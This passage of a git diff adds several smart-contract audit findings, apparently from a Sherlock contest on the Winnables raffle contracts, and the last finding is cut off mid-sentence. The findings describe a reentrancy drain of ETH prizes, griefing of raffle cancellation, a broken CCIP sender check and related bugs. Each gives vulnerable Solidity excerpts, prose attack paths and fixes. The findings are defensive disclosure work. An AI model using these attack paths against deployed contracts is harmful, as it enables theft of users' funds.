revert InvalidPrize(); + rafflePrize.raffleType = RaffleType.TOKEN; + unchecked { _tokensLocked[token] += amount; } + _tokenRaffles[raffleId].tokenAddress = token; + _tokenRaffles[raffleId].amount = amount; + + _sendCCIPMessage(ticketManager, chainSelector, abi.encodePacked(raffleId)); + emit TokenPrizeLocked(raffleId, token, amount); + } +``` \ No newline at end of file diff --git a/001/162.md b/001/162.md new file mode 100644 index 0000000..96e6454 --- /dev/null +++ b/001/162.md @@ -0,0 +1,108 @@ +Polite Ultraviolet Anteater + +High + +# Reentrancy allows prize winner of a single raffle to steal ethLocked from other raffles + +## Summary + +Reentrancy vulnerability wheneve a winner claims an ETH prize. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L118 + +## Vulnerability Detail + +In `WinnablesPrizeManager.sol` once the winner is picked for a raffle they can claim their prize by calling the external function `WinnablesPrizeManager::claimPrize`: + +```solidity + /// @notice (Public) Send the prize for a Raffle to its rightful winner + /// @param raffleId ID of the raffle + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); // audit-high - reentrancy - winner can claim prize multiple times and drain the eth + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` + +When the price is in ETH (`RaffleType.ETH`) then the function `WinnablesPrizeManager::_sendETHPrize` is called which transfers ETH to the rightful winner of the raffle: + +`WinnablesPrizeManager::_sendETHPrize`: +```solidity + /// @dev Transfers the NFT prize to the winner + /// @param amount Amount of ETH to send + /// @param winner Address of the winner + function _sendETHPrize(uint256 amount, address winner) internal { + (bool success, ) = winner.call{ value: amount }(""); + if (!success) revert ETHTransferFail(); + } +``` + +However, if the rightful owner is a contract which has a receive/fallback function which calls back the `WinnablesPrizeManager::_sendETHPrize` then they will be able to retrieve again the prize - Reentrancy. + +The reason for this vulnerability is NOT following the CEI (Check-Effects-Interactions) pattern. + +## Impact + +Impact: High +Likelihood: High + +## Proof of Concept + +1. Raffle winner is picked. +2. Raffle winner is actually a contract which calls the `WinnablesPrizeManager::claimPrize` to claim their reward of ETH. +3. Once the logic inside `WinnablesPrizeManager::_sendETHPrize` is executed which uses a low level call: +```solidity + (bool success, ) = winner.call{ value: amount }(""); +``` +Then the Raffle winner's receive/fallback function is hit, which calls back the `WinnablesPrizeManager::claimPrize` function for the same raffle. +4. Attacker drains the `_ethLocked` which contains ETH for other raffles as well. + +## Tool used +Manual Review + +## Recommendation + +To prevent this reentrancy follow the CEI (Check-Effects-Interactions) pattern and move the Check-Effects part above the interactions: + +```diff + /// @notice (Public) Send the prize for a Raffle to its rightful winner + /// @param raffleId ID of the raffle + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; ++ if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); // audit-high - reentrancy - winner can claim prize multiple times and drain the eth + } else revert InvalidRaffle(); +- if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +- if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +- rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` diff --git a/001/163.md b/001/163.md new file mode 100644 index 0000000..20ed57d --- /dev/null +++ b/001/163.md @@ -0,0 +1,56 @@ +Clever Cream Bird + +Medium + +# M-1: `setCCIPCounterpart()` allows admin to deny raffle winner from claiming prize. + +### Summary + +Using the function [`setCCIPCounterpart()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L238) to change the CCIPCounterpart address can deny winner from claiming their prize. + + +### Root Cause + +The function [`setCCIPCounterpart()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L238) inherently is unaware about the current state of the contract. + +```solidity + function setCCIPCounterpart( + address contractAddress, + uint64 chainSelector, + bool enabled + ) external onlyRole(0) { + _setCCIPCounterpart(contractAddress, chainSelector, enabled); + } +``` + +In an Ideal scenario, when a raffle's duration is completed, the functions [`drawWinner()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L310) and [`propagateRaffleWinner()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L334) are to be called simultaneously by anyone in order to disburse prize to the winner. + +In a case where a winner is drawn using [`drawWinner()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L310) and the admin decides to call [`setCCIPCounterpart()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L238) knowingly or unknowingly before the [`propagateRaffleWinner()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L334) call, will lead to denial of prize to that winner as it would never get propagated. + +This violates the one of the principles mentioned by the protocol in `README.md`. +```Winnables admins cannot do anything to prevent a winner from withdrawing their prize``` + +### Internal pre-conditions + +1. A raffle should have just passed it's designated duration + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Anyone calls the [`drawWinner()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L310) after a particular raffle has completed it's duration. +2. Admin will call the [`setCCIPCounterpart()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L238) function before anyone calls the [`propagateRaffleWinner()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L334) + +### Impact + +1. Raffle winner will be denied from claiming his prize. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/001/164.md b/001/164.md new file mode 100644 index 0000000..b1b8536 --- /dev/null +++ b/001/164.md @@ -0,0 +1,62 @@ +Merry Sepia Whale + +High + +# Smart accounts are prone to loss of raffle prizes won in the `WinnablesPrizeManager` contract + +## Summary +The `WinnablesPrizeManager` contract ensures that a raffle's winner must be the calling address/msg.sender during the claim of rewards in line #120 of the contract but forgets that the address/user that bought tickets on Avalanche on the `WinnablesTicketManager` contract will very likely not be the same on Ethereum mainnet. Hence, such chosen raffle prize winners get to lose their prizes as they cannot claim them on Ethereum and the prize cannot be retrieved by admins/owner either. + + +## Vulnerability Detail +```solidity +FILE: WinnablesTicketManager + +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + ... +@> address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); // @note selects winner + +@> _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); // @note sends a message to Prize manager on Ethereum to set selected winner as this raffle's winner + ... + } +``` + +```solidity +FILE: WinnablesTicketManager + +function _getWinnerByRequestId(uint256 requestId) internal view returns(address) { + RequestStatus storage request = _chainlinkRequests[requestId]; + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(request.raffleId); +@> uint256 winningTicketNumber = request.randomWord % supply; // @note gets a lucky number +@> return IWinnablesTicket(TICKETS_CONTRACT).ownerOf(request.raffleId, winningTicketNumber); // @note finds owner of ticket token ID which matches lucky number and returns the owner address + } +``` + +```solidity +FILE: WinnablesPrizeManager +function claimPrize(uint256 raffleId) external { + ... +@> if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); // @audit unfortunately the `rafflePrize.winner` is not the same person on this chain that controls the wallet that bought tickets on Avalanche chain because they use a smart account wallet and not the same address across chains + ... + emit PrizeClaimed(raffleId, msg.sender); + } +``` + +## Impact +For such users, they will lose the raffle's prize that was delegated to them for winning the raffle and since the admin cannot withdraw the prize of a completed raffle, the prize will remain locked. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L338 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L475-L476 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L340 + +## Tool used +Manual Review + +## Recommendation +There are a couple of ways to resolve this issue whereby the user ends up getting their prize but some of the best are: + +1. When selecting the winner of a raffle, check if there is a deployed code on the selected winner's address. If there is code, then have them claim their reward on the same chain which in this case is Avalanche but this also introduces another problem to think about in the case that what if the address has not yet been deployed aka has no code and not even an EOA anyone controls yet? Though unlikely, it is possible. +2. Users should be made aware that using smart account wallets causes a loss of prize risk if they do not control the same wallet on the other chain aka Ethereum. +3. Have a functionality to allow ticket buyers to specify addresses where they would like to receive their prize. Once this functionality is done, set that address as the address during winner propagation, and for users who do not specify, then they accept to mint to the same address used during ticket purchase. \ No newline at end of file diff --git a/001/165.md b/001/165.md new file mode 100644 index 0000000..8600984 --- /dev/null +++ b/001/165.md @@ -0,0 +1,66 @@ +Lone Peanut Swallow + +Medium + +# Raffles can be cancellable and drawable at the same time + +## Summary + +Under certain conditions, a raffle in the `IDLE` status can transition to both the `CANCELED` or `REQUESTED` states, which should be mutually exclusive. + +## Vulnerability Detail + +The [`WinnablesTicketManager._checkShouldDraw`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L422-L432) and [`WinnablesTicketManager._checkShouldCancel`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441) internal functions implement the sanitization logic to verify that an idle raffle can either proceed to the randomness request stage or be cancelled. + +`WinnablesTicketManager._checkShouldDraw` requires the raffle to conform with the following conditions: +1. Be in the `IDLE` state. +2. Have sold **at least** `raffle.minTicketsThreshold` tickets. +3. If the method is called before `raffle.endsAt`, the raffle should have sold out all tickets. + +`WinnablesTicketManager._checkShouldCancel` requires the raffle to conform with: +1. Be in either `PRIZE_LOCKED` or `IDLE` state. +2. The method should not be called before `raffle.endsAt`. +3. The raffle should have sold **at most** `raffle.minTicketsThreshold` tickets. + +Analyzing these sets of conditions, one can find that if `block.timestamp >= raffle.endsAt && IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId) == raffle.minTicketsThreshold` then both methods will not revert, meaning that both state transitions are allowed. + +As a consequence, given that both [`WinnablesTicketManager.drawWinner`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L310) and [`WinnablesTicketManager.cancelRaffle`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278) can be called by an unauthenticated party, a race condition is generated on the way the raffle evolves: the outcome depends on the first method invoked. +In particular, an attacker is able to disrupt a valid raffle's randomness request by frontrunning a call to `drawWinner` with a call to `cancelRaffle`. + +## Impact + +Medium. +Under the explained conditions, a race condition is generated to cancel or draw the randomness for a given raffle. The larger impact comes from an attacker being able to cancel a valid raffle, causing a repeatable temporary DOS on protocol core functionality. + +## Code Snippet + +```solidity +function _checkShouldDraw(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + uint256 currentTicketSold = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (currentTicketSold == 0) revert NoParticipants(); + + if (block.timestamp < raffle.endsAt) { + if (currentTicketSold < raffle.maxTicketSupply) revert RaffleIsStillOpen(); + } + if (currentTicketSold < raffle.minTicketsThreshold) revert TargetTicketsNotReached(); // <@ supply is allowed to be == threshold +} + +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); // <@ supply is allowed to be == threshold +} +``` + +## Tool used + +Manual Review + +## Recommendation + +The protocol should select whether `raffle.minTicketsThreshold` is an amount of tickets sold at which a raffle is allowed to proceed normally or it should be cancelled. Given such choice, the corresponding validation method should be modified to disallow the case in which `IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId) == raffle.minTicketsThreshold` \ No newline at end of file diff --git a/001/166.md b/001/166.md new file mode 100644 index 0000000..b5f82dd --- /dev/null +++ b/001/166.md @@ -0,0 +1,126 @@ +Silly Burgundy Scallop + +High + +# Rewards are lost if winner has different addr on Avalanche and Mainnet + +## Summary + +Prizes will be forfeited because the winner's address is not the same on Avalanche and Mainnet. + +## Vulnerability Detail + +When a raffle is created, any user can participate in it by purchasing tokens via `buyTickets()` on Avalanche and a `WinnablesTicket`(ERC1155) will be minted to them **on Avalanche**. Then, when the raffle is over and a winner is selected with `drawWinner()` and `propagateRaffleWinner()`, the owner's address of the winning ticket (ERC1155 token) will be sent to `WinnablesPrizeManager.sol` on the `Mainnet` via CCIP. The owner's address on ****Avalanche will be set as the winner of this raffle on Mainnet, then this address can claim his prize via `claimPrize()`. + +But the owner address on Avalanche and Mainnet will not always be the same (eg Gnosis safes, custom multisig wallets, etc.) + +```solidity +function buyTickets( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature +) external payable { + if (ticketCount == 0) revert InvalidTicketCount(); + _checkTicketPurchaseable(raffleId, ticketCount); + _checkPurchaseSig(raffleId, ticketCount, blockNumber, signature); + + Raffle storage raffle = _raffles[raffleId]; + uint256 participation = uint256(raffle.participations[msg.sender]); + uint128 totalPaid = uint128(participation) + uint128(msg.value); + uint32 totalPurchased = uint32(participation >> 128) + uint32(ticketCount); + unchecked { + raffle.participations[msg.sender] = bytes32( + (participation & type(uint256).max << 160) + | totalPaid | + uint256(totalPurchased) << 128 + ); + } + unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; + _lockedETH += msg.value; + } + IWinnablesTicket(TICKETS_CONTRACT).mint(msg.sender, raffleId, ticketCount); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); +} +``` + +```solidity +function drawWinner(uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + _checkShouldDraw(raffleId); + raffle.status = RaffleStatus.REQUESTED; + + uint256 requestId = VRFCoordinatorV2Interface(VRF_COORDINATOR).requestRandomWords( + KEY_HASH, + SUBSCRIPTION_ID, + 3, + 100_000, + 1 + ); + _chainlinkRequests[requestId] = RequestStatus({ + raffleId: raffleId, + randomWord: 0 + }); + raffle.chainlinkRequestId = requestId; + emit RequestSent(requestId, raffleId); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); +} + +/// @notice (Public) Send a cross-chain message to the Prize Manager to +/// mark the prize as claimable by the winner +/// @param raffleId ID of the Raffle we wish to draw a winner for +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } +} +``` + +```solidity +function _ccipReceive( + Client.Any2EVMMessage memory message +) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + + CCIPMessageType messageType = CCIPMessageType(uint8(message.data[0])); + uint256 raffleId; + address winner; + if (messageType == CCIPMessageType.RAFFLE_CANCELED) { + raffleId = _decodeRaffleCanceledMessage(message.data); + _cancelRaffle(raffleId); + return; + } + (raffleId, winner) = _decodeWinnerDrawnMessage(message.data); + _rafflePrize[raffleId].winner = winner; + emit WinnerPropagated(raffleId, winner); +} +``` + +## Impact + +Loss of prize due to the assumption that the winner's wallet address is always the same on Avalanche and Mainnet. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesPrizeManager.sol#L276 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L340 + +## Tool used + +Manual Review + +## Recommendation + +Allow the user to set the recipient address when buying tickets (can be achieved with simple mapping inside `buyTickets()` and then fetching it on `propagateRaffleWinner()`), and if he wins, use that address as the winner on the Mainnet. \ No newline at end of file diff --git a/001/167.md b/001/167.md new file mode 100644 index 0000000..337756f --- /dev/null +++ b/001/167.md @@ -0,0 +1,50 @@ +Silly Burgundy Scallop + +High + +# Wrong if check in `withdrawTokens()` + +## Summary + +`WinnablesTicketManager.sol::withdrawTokens` is not working as intended. + +## Vulnerability Detail + +`withdrawTokens()` will always revert when authorized users (currently only the owner) try to withdraw any remaining ERC20 tokens. It will only work if they call it to withdraw the full amount, but this is not always the case. + +The issue is due to a wrong balance check. + +```solidity +function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount < balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); +} +``` + +If the specified amount is less than the available balance, the function will revert, which is not how the function should work - `if (amount < balance) revert InsufficientBalance();` + +## Impact + +ERC20 tokens cannot be transferred from `WinnablesTicketManager.sol` + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L295 + +## Tool used + +Manual Review + +## Recommendation + +```diff +function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); +- if (amount < balance) revert InsufficientBalance(); ++ if (amount > balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); +} +``` \ No newline at end of file diff --git a/001/168.md b/001/168.md new file mode 100644 index 0000000..250ef48 --- /dev/null +++ b/001/168.md @@ -0,0 +1,66 @@ +Silly Burgundy Scallop + +High + +# lockedEth is not being decrease when refunding + +## Summary + +`_lockedETH` is not being decreased in `refundPlayers`, leading to differences between it and the native balance of `WinnablesTicketManager`. As a result `withdrawETH` will lead to underflow when `_lockedETH` becomes higher than the `address(this).balance`, as the subtraction is performed in unchecked block, that will cause permanent reverts in `_sendETH`. + +## Vulnerability Detail + +When raffle is being cancelled all the players that have purchased tickets must be refunded from `WinnablesTicketManager::refundPlayers`: + +```solidity +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } +} +``` + +The problem is that `_lockedETH` is not decreased which leads to becoming out-of-sync with the native balance. + +Later on when the admin wants to withdraw the `ETH` that is accumulated from the tickets due to the difference between the 2 underflow will be cause making the `withdrawETH` DOS permanently: + +```solidity +function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } +``` + +This will also impact the amount of `ETH` that the owner will be able to withdraw, which means there is a loss of funds, since this is the revenue of the protocol. + +## Impact + +DOS of `withdrawETH` when players are being refunded. + +Here is a POC (in order to make it work you should have configured Foundry version of the project): + +https://gist.github.com/Catchemall999/ca48b17d9c8a9217b5189f7da9836ba3 + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L215 + +## Tool used + +Manual Review + +## Recommendation + +Decrease the `_lockedETH` when refunding players. \ No newline at end of file diff --git a/001/169.md b/001/169.md new file mode 100644 index 0000000..df1961e --- /dev/null +++ b/001/169.md @@ -0,0 +1,98 @@ +Silly Burgundy Scallop + +High + +# Raffle can be cancelled right after locking the asset in PrizeManager + +## Summary + +Any raffle **can be canceled once** the prize is locked due to wrong `if check`. + +## Vulnerability Detail + +When a prize is locked for a raffle, any of the three locking functions in `WinnablesPrizeManager.sol` will be called by the administrator - `lockNFT()`, `lockETH()`, `lockTokens()`. Each of them sends a CCIP message to the `WinnablesTicketManager.sol` contract, which will be received in `_ccipReceive()`. + +```solidity +function _ccipReceive( + Client.Any2EVMMessage memory message +) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + (uint256 raffleId) = abi.decode(message.data, (uint256)); + if (_raffles[raffleId].status != RaffleStatus.NONE) { + // The raffle cannot be created, send back a cancel message to unlock the prize + _sendCCIPMessage( + _senderAddress, + message.sourceChainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + return; + } + _raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED; + + emit RafflePrizeLocked( + message.messageId, + message.sourceChainSelector, + raffleId + ); +} +``` + +As you can see when the prize is locked and this is called the raffle status is updated to **`PRIZE_LOCKED`** and from there the raffle can be created via `createRaffle()` by the admin. + +But `cancelRaffle()` can also be called even before the raffle is created and by anyone, due to a faulty if check. + +```solidity +function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); +} +``` + +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); +} +``` + +Once the prize is locked and `_ccipReceive()` is called, the state of the raffle will be **`PRIZE_LOCKED`** and the first check of `_checkShouldCancel()` will pass and the function will complete, then the state of the raffle will be set to `CANCELED` and the CCIP message will be send to unlock the reward on Mainnet. That way the creation of the raffle can be griefed and always after the prize is locked, everyone can call `cancelRaffle` and send it back to L1. + +## Impact + +Unlimited grefing of the raffle creation will not allow raffle creation and will always be canceled immediately after prize is locked. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L436 + +## Tool used + +Manual Review + +## Recommendation + +Remove the `PRIZE_LOCKED` check, that way if `cancelRaffle()` is called when the raffle is not in `IDLE` status, the function will revert. + +```diff +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; +- if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); +} +``` \ No newline at end of file diff --git a/001/170.md b/001/170.md new file mode 100644 index 0000000..2526b50 --- /dev/null +++ b/001/170.md @@ -0,0 +1,98 @@ +Silly Burgundy Scallop + +High + +# _packCCIPContract() always return only the contractAddress + +## Summary + +Wrong bit shift will cause all counterpart CCIP results to contain only destination address. + +## Vulnerability Detail + +A CCIP counterpart must be configured for both contracts `WinnablesPrizeManager.sol` and `WinnablesTicketManager.sol` in order when `_ccipReceive()` is called to validate the call. + +```solidity +function _ccipReceive( + Client.Any2EVMMessage memory message +) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); <-------------------------------- + (uint256 raffleId) = abi.decode(message.data, (uint256)); + if (_raffles[raffleId].status != RaffleStatus.NONE) { + // The raffle cannot be created, send back a cancel message to unlock the prize + _sendCCIPMessage( + _senderAddress, + message.sourceChainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + return; + } + _raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED; + + emit RafflePrizeLocked( + message.messageId, + message.sourceChainSelector, + raffleId + ); +} +``` + +But `_packCCIPContract()` creates the pack incorrectly and will always skip the selector and always return only the contract address of the other chain. + +Here are the calculation steps: + +- The `chainSelector`, which is a `uint64` (64-bit value), is first shifted left by 160 bits. +- Since `chainSelector` is only 64 bits wide, shifting it left by 160 bits essentially shifts all of its bits out of the 64-bit range, resulting in `0`. +- This `0` is then cast to `uint256`, but since it's already `0`, the cast doesn't change anything. + +```solidity +function _packCCIPContract(address contractAddress, uint64 chainSelector) public pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | + uint256(chainSelector << 160) + ); +} +``` + +Result of these example values will be only the address: + +- contractAddress = `0x4859614cBE8bbe9cCAd991Cc69394343943CD52D` +- chainSelector = `16015286601757825753` +- result - `0x0000000000000000000000004859614cbe8bbe9ccad991cc69394343943cd52d` + +## Impact + +`pack` of the destination address and selector will always be wrong, this will cause all messages to pass no matter which `Client.Any2EVMMessage.sourceChainSelector` is passed. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/BaseCCIPContract.sol#L43 + +## Tool used + +Manual Review + +## Recommendation + +The team wants the `pack` to be in this format: + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/BaseCCIPContract.sol#L13-L14 + +```solidity +/// [0..159] address sourceContract +/// [160..223] uint64 sourceChainSelector +``` + +To achieve this, the `sourceChainSelector` must first be made 256 bits and then shifted. + +```diff +function _packCCIPContract(address contractAddress, uint64 chainSelector) public pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | +- uint256(chainSelector << 160) ++ uint256(chainSelector) << 160 + ); +} +``` \ No newline at end of file diff --git a/001/172.md b/001/172.md new file mode 100644 index 0000000..0ef6d5b --- /dev/null +++ b/001/172.md @@ -0,0 +1,102 @@ +Silly Burgundy Scallop + +High + +# PrizeManager tokens are lost when wrong chainSelector is given + +## Summary + +Everyone can call `WinnablesTicketManager::propagateRaffleWinner` and knowing that any user 